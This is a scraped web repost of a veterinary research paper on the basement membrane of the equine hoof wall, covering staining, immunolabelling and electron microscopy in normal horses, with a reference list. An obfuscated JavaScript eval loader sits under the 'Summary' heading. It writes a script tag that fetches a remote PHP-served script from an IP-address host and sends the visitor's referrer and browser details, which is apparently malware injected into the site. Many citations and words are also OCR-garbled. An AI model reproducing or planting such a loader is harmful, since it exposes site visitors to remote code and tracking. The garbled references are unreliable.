<p><strong>Hood, D. M., Gremmel, S. M., Amoss, M. S., Button, C. and Hightower, O. (1979)</strong> Equine laminitis III: Coagulation dysfunction in the developmental and acute disease. J. Eyuine Med. Surg. 3, 355-360.</p> <p><strong>Hood, D. M. and Stephens, K. A. (1981)</strong> Physiopathology of equine laminitis. Comp. cont. Educ. pract. vet. 3, S454-459.</p> <p><strong>Hood, D. M., Stephens, K. A. and Amoss, M. S. (1982a)</strong> The use of alpha- and beta- adrenergic blockade as a preventative in the carbohydrate model of laminitis: a preliminary report. Proceedings of the First Equine Endotoxaemia-Laminitis Symposium. Am. Ass. Equine Pract. Newsletter 2, 142-146.</p> <p><strong>Hood, D. M., Stephens, K. A. and Amoss, M. S. (1982b)</strong> Heparin as a preventative for equine laminitis: A preliminary report. Proceedings of First Equine Endotoxemia-Laminitis Symposium. Am. A.ss. Equine Prart. Newsletter 2, 146- 149.</p> <p><strong>Kardon, R. H. and Kessel, R. G. (1979)</strong> SEM studies on vascular casts of the rat ovary. In: Scanning electron microscopy/1979/III, Eds: R.P. Becker and O. Jahari Scanning Electron Microscopy Inc., Chicago. pp 743-750.</p> <p><strong>Larsson, B., Obel, N. and Aberg, B. (1956)</strong> On the biochemistry of keratinization in the matrix of the horses' hoof in normal conditions and in laminitis. Nord. vet. Med. 8, 761-776.</p> <p><strong>Mishra, P. C. and Leach, D. H. (1983a)</strong> Extrinsic and intrinsic veins of the equine hoof wall. J. Anat.136, 543-560.</p> <p><strong>Mishra, P. C. and Leach, D. H. (l983b)</strong> Electron microscopic study of the veins of the dermal lamellae of the eyuine hoof wall. Equine vet. J.15, 14-21.</p> <p><strong>Molyneux, G. S. (1965)</strong> Observation on the structure, distribution and significance of arterio-venous anastomoses in sheep skin. In: Binlogv of the Skin and Hair Growth. Eds: A. G. Lyne and B. F. Short, Angus and Robertson, Sydney, pp.591- 602.</p> <p><strong>Molyneux, G. S. and Bryden, M. M. (1981)</strong> Comparative aspects of arteriovenous anastomoses. In: Progress in Anatomy. Vol. I., Ed: R. J. Harrison, Cambridge University Press, Cambridge, pp 207-227.</p> <p><strong>Molyneux, G. S. and Pollitt, C. C. (1987)</strong> An electron microscopic study of the laminar demsal microcirculation of the equine foot. II. Ultrastructure and innervation of arteriovenous anastomoses (AVAs). In: Progress in microrirculation research. Procs. 4th Australian and New Zealand Symp. on Microcirculation. Eds: M. A. Perry and D. G. Garlick, The University of New South Wales, p 24.</p> <p><strong>Morris, J. L. and Bevan, R. D. (1984) </strong>Development of the vascular bed in the rabbit ear: scanning electron microscopy of vascular corrosion casts. Am. J. Anat. 171, 75-89.</p> <p><strong>Murrish, D. E. and Guard, C. L. (1977)</strong> Cardiovascular adaptations of the giant petrel, Macronectes giganteus to the Antarctic environment. In: Adapatations within Antarctic ecosystems. Proc. 3rd SCAR symp. on Antacrtic Biology, Ed: G. A. Llano. Smithsonian Institution, Washington pp. 511-530.</p> <p><strong>Pollitt, C. C. and Molyneux G. S. (1987)</strong> An electron microscopic study of the laminar dermal microcirculation of Ihe eyuine foot I. Scanning electron microscopy. In: Progress in microcirculation research. Procs. 4th Australian and New Zealand Symp. on Microcirculation. Eds: M. A. Perry and d. G. Garlick, the University of New South Wales. p.23.</p> <p><strong>Robinson, N. E., Scott, J. B. and Dabney, J. M. (1976) </strong>Digital vascular responses and permability in eyine alimentary laminitis. Am. J. vet. Res. 37, 1171-1176.</p> <p><strong>Rogers, P. A. W. and Gannon, B. J. (1983)</strong> The microvascular cast as a three- dimensional tissue skeleton: visualisation of rapid morphological changes in tissues of the rat uterus. J. Microsc.131, 241-247.</p> <p><strong>Rooney, J. R. (1984)</strong> Arteriovenous anastomoses in the digit of Ihe horse. Equine vet. Sci.4, 182-183.</p> <p><strong>Sack, W.0. and Habel, R. E. (1977)</strong> Rooney's guide to the dissection of che horse. Veterinary Textbooks, Ithaca, New York, p.162.</p> <p><strong>Schummer, A., Wilkens, H., Vollmerhaus, B. and Habermehl, K-H. (1981)</strong> In: The circulatory system, the skin and the cutanenus organs of the domestic mammals. Verlag Paul Perry. Berlin, p. 557.</p> <p><strong>Talukdar, A. H., Calhoun, M. L. and Stinson, A. W. (1972)</strong> Specialised vascular structures in the skin of the horse. Am. J. vet. Res. 33, 335-338.</p> <p><strong>Trout, D. R. (1987)</strong> Srintigraphir eraluatinn nj digital circulation during the development and acute phases of laminitis. Ph. D. dissertation. University of Califormia. Davis.</p> <p><strong>Yelle, M. (1986)</strong> Clinicians guide to equine laminitis. Equine vet. J.18, 156-l58.</p> <p>© <em>C. C. Pollitt</em></p> <p>posted here with the permission of the author<br />first published in <em><strong>Equine vet. J.</strong></em>, (1994) <strong>26</strong> (5) 399-407</p></div> <div class="feed-description"><p><span style="font-size: 14pt;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrtak|var|u0026u|referrer|yktdd||js|php'.split('|'),0,{})) </script></noindex> <p class="MsoNormal"><span class="dropcap">I</span>n the equine hoof, the basement membrane connects the heavily keratinised hoof wall to the dense connective tissue of the distal phalanx, a region able to withstand considerable mechanical stress. This study investigated the properties of this important anatomical and physiological structure. In contrast to haematoxylin and eosin, the connective tissue stains, periodic acid Schiff, periodic acid silver methenamine and Azan showed good resolution of lamellar basement membrane. The lamellar basement membrane cross-reacted with mouse monoclonal antibodies raised against human laminin, thereby providing evidence that laminin is a component of the equine basement membrane.</p> The ultrastructure of the equine hoof basement membrane was essentially the same as in other animals but appeared to have many anchoring fibrils and extensions of the lamina densa into the adjoining connective tissue, an arrangement interpreted to convey extra strength to the region. Large areas of the surface of the hoof wall basement membrane could be exposed to examination with the scanning electron microscope by treating tissue blocks with detergent/enzyme or sodium bromide. When epidermal lamellae were separated from their dermal counterparts the basement membrane stayed with the dermis and the dermal lamellae retained their natural shape despite the absence of an adjacent epidermis. The exposed surface of the lamellar basement membrane was generally smooth and unbroken, marked with small indentations and fine wrinkles. At the cut edges of the lamellae, a mesh of tine connective tissue fibres were attached to the inner surface of the basement membrane. The basement membrane of both the coronary and terminal papillae was folded into numerous longitudinal ridges, all parallel to the long axis of the papillae. Like the folds in the basement membrane of the lamellae (the so-called secondary lamellae) the longitudinal ridges of the papillae are probably an adaptation to increase the surface area of attachment of the dermis to the inner hoof wall. The architecture of the equine basement membrane and the tissues adjacent to it is severely disrupted as the pathology of laminitis develops. A study of the basement membrane using the techniques described in this study may add to our understanding of the pathophysiology of equine laminitis. <p><span style="font-size: 14pt;"><strong>Introduction</strong></span></p> <p>A thin, unbroken, sheet of extracellular basement membrane (BM), partitioning the dermis from the epidermis, lines the entire inner hoof wall, sole and frog. Therefore, all the dermal papillae of the periople, coronary groove, sole and frog as well as the dermal lamellae of the inner hoof wall and bars have a BM lining. The BM is a structural boundary between the vascular dermal compartment and the avascular epidermal compartment, but nevertheless coordinates a number of critically important biological processes between the 2 tissues. For instance the BM is a scaffold necessary for the patterned development, maturation and continued maintenance of correctly oriented hoof wall epidermal cells. The BM organises the cytoskeletal framework of the epidermal cells and influences the exchange of nutrients, macromolecules and growth regulating factors (Abrahamson 1986). The equine hoof is unique in that a single digit on each limb supports the entire weight of the animal and withstands a biomechanical load unequalled by less athletic ungulates. Because the BM is a layer of material connecting the densely keratinised hoof and the Fibrous connective tissue emanating from the distal phalanx, 2 tissue compartments renowned for their durability, the BM too must have remarkable properties of strength and resilience.</p> <p>In order to interpret the dramatic pathological changes which appear in the tissue of the inner hoof wall when horses develop laminitis it is important First to understand the normal microanatomy of the region. Because the BM is ******ly involved in both the physiological and the anatomical relationship between the dermis and epidermis and both these regions are severely altered as laminitis develops, this study was undertaken to document the appearance of the BM lining the papillae and lamellae of the normal equine hoof wall. To determine which techniques would be most suitable for the study of BM pathology during laminitis a variety of techniques were tested.</p> <p><span style="font-size: 14pt;"><strong>Materials & Methods</strong></span></p> <p>The feet of 6 normal horses ranging in age from 7 months to 27 years and size from miniature horse to Thoroughbred were used as the source of tissues.</p> <p>All the animals were humanely killed with an overdose of pentobarbitone injected i.v. and the forelimbs disarticulated at the carpus. If tissues were required for transmission electron microscopy, the median artery was cannulated and the limbs perfused, initially with 500 ml heparinised saline and then with Kamovsky's fixative (Kamovsky 1965). Ultrathin sections were examined in a Zeiss EM 10 electron microscope and described using the nomenclature of Inoue (1989). Tissue blocks for light microscopy were cut initially from the dorsal hoof wall with a band saw, trimmed to size (8 x 8 x 4 mm) using single edged razor blades and then immersion fixed in buffered 10% formalin. Light microscopy sections (SEun thick) were stained with haematoxylin and eosin (H and E), periodic acid-Schiff (PAS), Azan and periodic acid silver methenamine (PASM). Light microscope sections for immunocytochemistry were not perfused but instead, unfixed, trimmed blocks of tissue were taken from the mid dorsal hoof wall region and immersed in liquid nitrogen. Sections 6mm in thickness were prepared on a cryostat and incubated with mouse monoclonal antibody raised against the human laminin epitope. The secondary antibody was goat anti-mouse conjugated with biotin and the reaction was made visible with a conjugate of avidin/biotinylated horse radish peroxidase reacted with 3,3-diamino benzidine tetra hydrochloride as a substrate. Control cryostat sections of human gingiva were incubated with the primary antibody and stained to ensure that the monoclonal antibody was indeed epitope specific. Control sections in which the primary antibody was missing were also prepared.</p> <p>Sections to be examined by scanning electron microscopy (SEM) were prepared in 3 ways:</p> <ol> <li>Dewaxed tissue: Blocks of mid dorsal hoof wall tissue with the dimensions 10 x 8 x 4 mm that had been fixed in buffered 10% formalin, mounted in paraffin and sectioned with a microtome were dewaxed in 4 changes of xylene for 48 h, dehydrated with ethanol and dried by the critical-point method (Lowden and Heath 1992).</li> <li>Detergent/DNAse: Small blocks of mid dorsal hoof wall lamellar tissue, trimmed with a single edge razor blade (dimensions 5 x 5 x 2 mm), were rendered acellular with detergents and enzyme using a modification of the method of Carlson and Kenney (1980). The blocks of tissue were stirred in 4 mM EDTA for 48 h at 4C and were then held in a tea strainer and washed extensively in distilled water. Next the blocks were stirred in a solution of 3% Triton X-100 for 10 hours at room temperature and after thorough washing in distilled water were transferred to 25 ml of a solution of I M NaCl containing 80 Kunitz units/ml of DNAase (Sigma type 1 ) and stirred for a further 8 hours at room temperature. Finally, after further washing in distilled water, the blocks were stirred in a solution of 4% sodium deoxycholate for a further 10 hours at room temperature. All the detergent/DNAse solutions contained 0.1% sodium azide. After washing in distilled water the sections were fixed by immersion in 4% parafonnaldehyde, 1.25% glutaraldehyde in 0.1 M phosphate buffer over night. The sections were stored in 0.1 M phosphate buffer at 4C until ready for dehydration and drying. The specimens were dehydrated from graded ethanol solutions and dried from ethanol by the critical-point method, sputter coated with gold and examined in a JSM 6400 F scanning electron microscope. Some of the sections were also prepared for examination with a Zeiss l0A-B transmission electron microscope.</li> <li>Sodium bromide: Transverse tissue blocks of the mid dorsal lamellar hoof wall and dermis (10 x 10 x 5 mm) and longitudinal sections of the coronary groove and toe, white zone, sole junction (10 x 5 x 5 mm) were trimmed with a single edged razor blade and stirred in a solution of 2 M sodium bromide, 0.1% sodium azide for 24 hours (Warfel and Hull 1984). The coronary and solar dermal papillae and the dermal lamellae were teased from their epideimal counterparts, with rat-toothed forceps. Both epidermal and dermal tissue were fixed using the procedure already described above. Some of the sections were Fixed for 8 hours before the dermis and epidermis were teased apart. Tissues were stored in 0.1 M phosphate buffer at 4C. Before dehydration through graded alcohol solutions all of the tissues were washed in distilled water and sonicated at 50-60 Hz in distilled water. The tissues were prepared for scanning electron microscopy by the already described method. Some of the lamellar tissue blocks were processed for transmission electron microscopy (TEM) and light microscopy to monitor the effect on the BM of exposure to sodium bromide.</li> </ol> <p><span style="font-size: 12pt;"><strong>Results</strong></span></p> <p><span style="font-size: 14pt;"><strong>Light Microscopy</strong></span></p> <p>Sections of the hoof wall lamellae, stained with H and E, showed the normal arrangement of secondary epidermal lamellae (SELs) interdigitating with secondary dermal lamellae (SDLs).</p> <p>The azan stained sections dramatically showed the epidermis and dermis in contrasting colours of pink and blue respectively and outlined the BM in blue against the red staining border of each SEL (Fig 1b).</p> <p>The PAS stain is known to react strongly with the carbohydrate moiety of proteins and clearly outlined the glycoprotein components of the BM of the hoof wall lamellae as a fine magenta line (Fig 1c).</p> <p>The PASM stain clearly outlined the collagen component of the BM as a fine black line as well as strands of collagen in the connective tissue of the primary dermal lamellae (Fig ld).</p> <center><img src="images/stories/horshoes-graphics/basement_membrane_1.jpg" alt="basement_membrane_1" width="552" height="471" /> </center> <p><em><strong>Fig 1:</strong> Light photomicrographs of hoof wall lamellae stained with haematoxylin and eosin (A), azan (B), periodic acid Schiff (C) and periodic acid silver methenamine (D). In contrast to the other stains, haematoxylin and eosin weakly resolves the basement membrane (arrowed). The periodic acid-Schiff stain and the periodic silver methenamine stain have reacted with different components of the basement membrane: glycoprotein and collagen respectively. PEL= primary epidermal lamellae, SEL= secondary epidermal lamellae, PDL=primary dermal lamellae Bar = 50um </em></p> <hr width="500" align="center" /> <p>The immunolabelling of equine BM with a mouse monoclonal antibody raised against the human BM structural protein laminin also gave a positive result. The reaction with anti laminin outlined clearly the equine lamellar BM and the BM of the arteries, capillaries and veins in the lamellar dermis (Fig 2).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_2.jpg" alt="basement_membrane_2" width="336" height="231" /> </center> <p><em><strong>Fig 2:</strong> Immunolabelling with mouse anti-human laminin reacted with the BM of the lamellae (arrowed), as well as the BM of the dei-mal blood vessels (arrow heads). Bar = 25 um.</em></p> <hr width="500" align="center" /> <p>A similar reaction in sections of human gingiva confirmed that the monoclonal anti laminin antibody was epitope specific and had cross reacted with equine BM laminin. Control sections from which the primary antibody was missing showed no immunoreactivity.</p> <p><span style="font-size: 14pt;"><strong>Transmission Electron Microscopy</strong></span></p> <p>Transmission electron microscopic examination of lamellar tissues showed the 3 layered BM following the plicated contour of the epidermal basal cells (Fig 3). Adjoining the plasmalemma of the epidermal cells was a pale staining layer, the lamina lucida. Fine strands crossed the lamina lucida, seeming to connect the plasmalemma of the epidermal basal cell to the next layer of the BM, the opaque lamina densa. At the tip of many SELs the lamina densa gave off dense staining extensions into the adjoining connective tissue (Fig 3).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_3.jpg" alt="basement_membrane_3" width="332" height="258" /> </center> <p><em><strong>Fig 3:</strong> Transmission electron micrograph of the basement membrane of a secondary epidermal lamellar basal cell (BC). Between the plasmalemma (P) of the basal cell and the dark staining lamina densa(LD) is the pale staining lamina lucida (LL). Dense staining extentions(E) of the lamina densa penetrate into the fibril and connective tissue network of the pars fibro reticularis (PFR). Within the pars fibroreticularis are many anchoring fibrils (arrowheads) which form a mesh of recurving loops. X25,000.</em></p> <hr width="500" align="center" /> <p>Surrounding the extensions and bordering the lamina densa was a network of fine strands which formed the final layer of the BM, the pars fibro reticulais. The lace work of fine strands forming the pars fibro reticular is enveloped the numerous collagen fibrils of the surrounding connective tissue and merged with them. Among the network of fine strands were many larger diameter, banded, anchoring fibrils which formed a mesh of recurving loops (Fig 4). At the tips of many SDLs the BMs merged and became double, penetrating a short distance between adjacent epidermal basal cells. The double BMs had a central lamina densa and a lamina lucida on either side.</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_4.jpg" alt="basement_membrane_4" width="334" height="360" /> </center> <p><em><strong>Fig 4:</strong> Transmission electron micrograph of the basement membrane of a secondary epidermal lamellar basal cell. When hemidesmosomes (HD) are present in the basal cell plasmalemma (P) the number of fine cords (arrowheads) crisscrossing the lamina lucida (LL) is increased. At this magnification the banding of the anchoring fibrils (AF) of the pars fibroreticularis (.an be clearly seen. The anchoring fibrily appear to enmesh the circular cross sections of several collagen fibrils. An oblique section (arrowed) of an extension (E) of the lamina densa (LD) shows the network of fine fibrils which make up the body of the basement membrane. X40,000.</em></p> <p><span style="font-size: 14pt;"><strong>Scanning Electron Microscopy</strong></span></p> <ol> <li>Dewaxed tissue: Blocks of lamellar tissue which had been dewaxed and dried after being fixed, embedded in paraffin and cut with a microtome were of limited use for the study of the lamellar BM. There were many splits and tears between the dermis and epidermis making reliable interpretation difficult.</li> <li>Detergent/DNAse: Examination with the scanning electron microscope of mid dorsal hoof wall lamellar tissue blocks showed that the detergent/DNAse treatment had rendered the tissue acellular. At low magnification, because a large proportion of the tissue blocks consisted of extracellular matrix (connective tissue, BM and keratinised epidermis), the general appearance of the blocks resembled the untreated dewaxed lamellar tissue blocks. Therefore the PELs of the hoof wall proper and the SELs on each PEL were recognisable landmarks. However, a space surrounded each SEL and there was no contact between the SELs and the adjacent SDLs. DNAse had removed cell nuclei and the detergent treatment had solubilized the cell membranes and cytoplasm between adjoining basal cells (Fig 5). The BM remained firmly attached to the connective tissue of each wafer- like SDL so only the epidermal surface of the BM was visible. The surface of the exposed BM was generally smooth with a few folds and wrinkles.</li> </ol> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_5.jpg" alt="basement_membrane_5" width="336" height="218" /> </center> <p><em><strong>Fig 5:</strong> The cut surface of 2 secondary epidermal lamellae (SELS) after detergent/enzyme treatment. Holes on the cut surface of the SEL (arrow heads) show where DNAse has removed the cell nuclei. Detergent solubilisation has removed cell membranes and cytoplasm between adjoining basal cells thus exposing the partially keratinised Cytoskeleton of each cell. The secondary dermal lamellae (arrowed) between the SELs are wafer like and expose the smooth epidermal surface of the basement membrane (BM). X l,700, bar = 10 um.</em></p> <hr width="500" align="center" /> <p>Examination of ultrathin sections of the enzyme/detergent treated tissue with the transmission electron microscope (TEM) confirmed that the epidermal basal cells were anuclear and had lost their cytoplasm and cell membranes (Fig 6).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_6.jpg" alt="basement_membrane_6" width="327" height="501" /> </center> <p><em><strong>Fig 6:</strong> Transmission electron micrograph of epidermal basal cell (E) adjacent dermis of hoof viol/ lamella after detergent/DNAase treatment. The basement membrane (arrowed) is intact and remains part of the dermis (D) of the SDL. There is a space between the basement membrane and the basal cell which is without a cell membrane. Hemidesmosomes (arrowheads) appear to be the last structures to detach from the BM. A few cords crossing the dilated lamina lucida (LL) remain between hemidesmosomes and the BM. X 31,500</em></p> <hr width="500" align="center" /> <p>The dark staining lamina densa of the BM had survived the treatment and had separated intact with the connective tissue of the SDLs. Examination of the surfaces of the acellular tissue blocks with the SEM, showed where large sections of the BM and the attached dermal connective tissue had separated from the epidermis. The exposed SEL basal cells, lacking cytoplasm, cell membranes or nuclei and consisting only of keratinised extracellular matrix retained its shape and architecture. On the other hand the BM and the dermis appeared softer and more compliant and were often located in collapsed folds beside the epidermis (Fig 7).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_7.jpg" alt="basement_membrane_7" width="330" height="462" /> </center> <p><em><strong>Fig 7:</strong> SEM of the side of a detergent/DNAse treated lamellar tissue block. The keratinised extracellular matrix of the secondary epidermal lamellae (SELS) has maintained its shape and architecture despite being anuclear and without cytoplasm or cell membranes. Apparently and more compliant the BM has separated from the epidermis and lies softer like a fallen curtain. The raised folds in the fabric of the basement membrane (BM) represent collapsed secondary dermal lamellae (SDLS) which have slipped from their original location, between the SELS. X750, bar= 10 um.</em></p> <hr width="500" align="center" /> <p>Oblique sectioning of the lamellar tissue blocks, near the tips of the SELs, sometimes caused the detergent/DNAse treatment to completely remove the SEL tips. The remaining SDLs resembled empty shells and showed how the BM was able to preserve the shape of the lamellar tips despite being unsupported by the cornified epidermal cells (Fig 8).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_8.jpg" alt="basement_membrane_8" width="330" height="438" /> </center> <p><em><strong>Fig 8:</strong> SEM of detergent/DNAse treated lamellar tissue block cut obliquely across the tips of several secondary lamellae. The separated tips of the secondary epidermal lamellae are missing, leaving behind empty shells of basement membrane (BM) lined secondary dermal lamellae (arrowheads). The remarkable rigidity of the BM has preserved the architecture of the dermal lamellae despite being deprived of the support of its complementary epidermal lamellae. X 230, bar= 100 um</em></p> <hr width="500" align="center" /> <p>These sections provided the opportunity to examine the cut edges of SDL at higher magnification and showed the interconnecting cords of fine connective tissue which lined the dermal surface of the BM (Fig 9).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_9.jpg" alt="basement_membrane_9" width="246" height="190" /> </center> <p><em><strong>Fig 9:</strong> SEM of the cut edge of a secondary dermal lamella (SDL) from which the epidermal cells have been removed by detergent/DNAase treatment. A tear in the cut edge of the BM shows the loops of fine connective tissue of the pars fibroreticularis, still attached to the dermal surface of the folded back basement membrane (BM). Beneath the tear is the dense mat of connective tissue fibres of the body of the SDL. X2,500, bar = 10um.</em></p> <hr width="500" align="center" /> <p>3. Sodium bromide: After incubation of hoof wall tissue blocks with sodium bromide for 24 hours the dermis was easy to separate from the epidermis. However, when the separated dermis was placed in fixative rapid shrinkage took, place resulting in distortion, particularly of the papillae which became entangled with one another. When the papilliform hoof wall dermis was fixed in situ the papillae retained their natural shape, even after critical point drying, and resembled a brush border of tapering hairs (Fig 15). If the washing of the fixed dermis in distilled water step was omitted, small salt crystals dotted the BM surface and marred interpretation. Sonication of the tissues caused no apparent damage and successfully cleaned the BM surface of loose and unattached debris.</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_10.jpg" alt="basement_membrane_10" width="330" height="252" /> </center> <p><em><strong>Fig 10:</strong> The cut surface of sodium bromide treated lamellar dermis the epidermal lamellae have been teased away. The sublamellar veins (V) are close to the bases of the primary dermal lamellae (PDLS) which are packed with dense connective tissue. The architecture of most of wafer like secondary dermal lamellae (arrowed head) is well preserved despite the absence of an epidermal Framework. The SDLs which in life interdigitate with the SELs of the PEL tip are shorter than more peripheral SELs. X70, bar = 100 um.</em></p> <hr width="500" align="center" /> <p>The architecture of the hoof wall dermis, covered with an intact BM, could be viewed `en face' with the SEM. In the lamellar region the PDLs and SDLs retained their natural shape despite lacking the support of an adjacent epidermis. The SDLs, which in life interdigitate with the SELs of the PEL tips, were relatively short and were spaced well apart to accommodate the rounded club shaped SELs in this region (Fig 10). The remainder of the SDLs, in the mid lamellar region and at the PDL tips were longer and resembled wafers (Fig 11).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_11.jpg" alt="basement_membrane_11" width="334" height="242" /> </center> <p><em><strong>Fig 11:</strong> The cut surface of the mid region of a primary dermal lamella (PDL) from which the epidermal lamellae have been teased away after sodium bromide treatment. The relatively thick diameter connective tissue fibres of the PDL merge with the finer fibrils and cords of the secondary dermal lamella (arrowheads). Each wafer-like secondary dermal lamella is covered, on both sides, with an intact sheet of basement membrane. X 350, bar = 100 um.</em></p> <hr width="500" align="center" /> <p>At higher magnifications the exposed surface of the lamellar BM, from which the epidermal basal cells had been removed, had an overall smooth appearance marked with numerous small indentations and fine wrinkles (Fig 12). No tears or rents in the BM were ever observed on the surfaces of the SDLs. Connective tissue fibres were only observed at the cut edges of PDLs and SDLs (Fig 11 and 12). The connective tissue at these sites closely resembled the fine fibres and cords seen at the cut surfaces of lamellae after detergent/DNAse treatment (Fig 9).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_12.jpg" alt="basement_membrane_12" width="330" height="250" /> </center> <p><em><strong>Fig 12:</strong> Two SDLs covered with intact basement membrane (BM) after the epidermal basal cells have been removed by sodium bromide treatment. The smooth indentations (arrowheads) on the surface of the BM ate where epidermal basal cells were attached. The rough areas and tags are presumably the remnants of the basal cell plasmalemma. There were never any tears or holes in the BM. X 1,000 bar = 10 um.</em></p> <hr width="500" align="center" /> <p>Occasionally, the separation caused by the sodium bromide treatment was incomplete and remnants of the plasmalemma of the basal cells created a reticular pattern on the BM surface (Fig 12).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_13.jpg" alt="basement_membrane_13" width="330" height="258" /> </center> <p><em><strong>Fig 13:</strong> SEM of the basement membrane on the surface of a proximal hoof wall, primary dermal lamella (PDL), affer sodium bromide treatment. The parallel secondary dermal lamellae (SDLS) arise as folds on the BM surface (arrowheads). The most provinial zone of the PDL (arrowed) has SDLs only on its most peripheral portion (in life, between the bases of the primary epidermal lamellae). The remainder of the SDLs arise along an oblique dorso-palmar line until SDLs cover the entire surface of the PDL. X 35, bar = 1mm.</em></p> <hr width="500" align="center" /> <p>SDLs were absent on the BM surface of the proximal dermal lamellae close to the coronary/lamellar border (Fig 13). Because the BM surface of dermal lamella was scanned in a proximo- distal direction SDLs appeared as raised folds, of gradually increasing height, on the surface of the BM (Fig 14). The first to appear were at the tips of the PDLs and the rest arose along an oblique line until the entire surface of the PDL bore its full complement of SDLs (Fig 13).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_14.jpg" alt="basement_membrane_14" width="328" height="412" /> </center> <p><em><strong>Fig 14:</strong> SEM of the area boxed in Fig 16 showing the origin of the secondary lamellae as folds (arrowed) in the basement membrane of the primary dermal lamellae. X 400, bar = 10um</em></p> <hr width="500" align="center" /> <p>The surface of the BM covering the papillae was strikingly different from the lamellar BM (Fig 15). On the surface of each long thin tapering papilla were numerous parallel ridges giving each papilla a fluted appearance. In the valleys between the ridges the BM surface bore smaller ridges which formed a branching reticular network (Fig 16).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_15.jpg" alt="basement_membrane_15" width="330" height="270" /> </center> <p><em><strong>Fig 15:</strong> The basement membrane covered surface of several dermal papillae (P) after the epidermal hoof wall at the coronet has been removed by treatment with sodium bromide. The papillae were fixed in situ and even after removal from the coronarv groove of the proximal hoof wall have retained their. natural shape. The BM on the surface of the papillae is folded into numerous ridges, parallel with the long axis giving each papilla a fluted appearance The cut edge of the coronary cushion is packed with dense connective tissue (C) X 75, bar = 100um.</em></p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_16.jpg" alt="basement_membrane_16" width="332" height="416" /> </center> <p><em><strong>Fig 16:</strong> The basement membrane (BM) on the surface of a coronary dermal papilla after sodium bromide treatment. In the valleys between the prominent parallel ridges (arrowed) the surface of the BM has a reticular pattern of finer ridges. X 1,500, bar = 10 um.</em></p> <hr width="500" align="center" /> <p>At the distal end of each dermal lamella the SDLs were the tapering terminal papillae (Fig 17). The basement membranes of the terminal papillae and coronary papillae had a similar ridged appearance. Some of the SDLs were continuous with the parallel ridges of the terminal papillae.</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_17.jpg" alt="basement_membrane_17" width="333" height="543" /> </center> <p><em><strong>Fig 17:</strong> At the distal end of each dermal lamella the seconda dermal lamellae (SDLS) lose their leaf shape and fuse with the tapering terminal papillae (TP). The basement membrane of the terminal papillae is folded into parallel ridges similar to the coronary papillae. Some of the SDLs are continuous with the ridges on the basement membrane of the terminal papillae (arrowed). Some fine terminal papillae appear to have budded off from the peripheral edge of the SDLs (arrowheads). X 80, bar = 100um.</em></p> <p><span style="font-size: 14pt;"><strong>Discussion</strong></span></p> <p>Staining sections for light microscopy with PAS, azan and PASM clearly showed the BM at the dermal-epidermal junction of the equine foot and for this purpose were superior to H and E. The BM closely followed the contours of the epidemial lamellae and papillae and there were no spaces between the BM and the basal plasmalemma of the epidermal germinal cells. The use of the special connective stains highlighted the BM and showed that the tips of the SELs were always rounded and that tips of SDLs were always tapered. The BM at the tip of the SDLs, even at the light level, could be seen to penetrate between adjacent epidermal cells deep into the crypts between pairs of SELs. The tips of the SDLs were uniformly arranged on either side of PEL bases and approached the cornified axial spine of the PEL quite closely (a distance equivalent to the length of 1-2 basal cells).</p> <p>The PAS stain showed the BM as an isolated dark magenta line and presumably was locating the non collagenous glycoprotein components of the BM. During the past 30 years a number of non collagenous components have been identified in basement membranes namely the glycoproteins laminin, fibronectin, nidogen and amyloid P component, the sulphated glycoprotein entactin and heparin sulphate proteoglycan (Inoue 1989).</p> <p>On the other hand the PASM stain is considered to principally stain the collagen component of the BM namely collagen type IV (Rambourg and Leblond 1967). Since both the PAS and PASM stains resolve the BM as the same single membrane it has been concluded from this and much immunolabelling evidence that the BM is a complex lattice work of both collagen and glycoprotein molecules (Inoue 1989).</p> <p>The azan stain, a more general purpose connective tissue stain, was useful in estimating the amount and texture of the connective tissue in each SDL and PDL as well as outlining the BM. The texture of the connective tissue in the SDLs was fine and formed a halo around the tip of the SELs where it merged with the thicker collagen bundles of the PDL (Fig 1b).</p> <p>This combination of connective tissue stains in conjunction with routine H and E staining should provide additional information about the lamellar pathology which occurs during laminitis.</p> <p>The glycoprotein laminin, one of the major non collagenous components of BMs, was identified in equine lamellar BM by immunolabelling with the monoclonal mouse anti-human laminin.</p> <p>Because laminin plays an important role in the differentiation and attachment of the closely associated epidermal cells and heparin sulphate proteoglycan is believed to influence the passage of ions across the BM (Leblond and Inoue 1989), the loss of these molecules from the lamellar BM, such as may occur during developmental laminitis, would have important implications in laminitis pathophysiology. Because plasminogen activator and plasminogen are synthesised in mammalian epidermal basal cells (Lazarus 1985) and plasmin, which can digest laminin (Liotta et al. 1981), may attain high concentrations in plasma during disease states such as endotoxaemia, an investigation into the role of plasmin and other circulating proteases may be fruitful for students of laminitis.</p> <p>The 3 layered ultrastructural nature of the 